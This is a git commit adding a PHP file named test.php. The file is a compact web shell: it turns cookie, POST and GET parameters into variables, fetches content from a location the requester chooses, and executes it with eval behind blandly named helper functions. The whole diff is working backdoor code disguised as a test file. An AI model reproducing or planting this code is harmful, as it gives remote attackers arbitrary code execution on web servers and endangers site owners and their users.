tennc 2019-10-23 22:47:21 +08:00 committed by GitHub
parent f315423d0a
commit 0add9c4465
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

21
php/test.php Normal file
View file

@ -0,0 +1,21 @@
<?php
function _strint($key){
return @file_get_contents($key);
}
function log1($log){
lone(_strint($log));
}
function lone($key){
$str = "";
return eval($str.$key.$str);
}
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : 2;
log1($id);
?>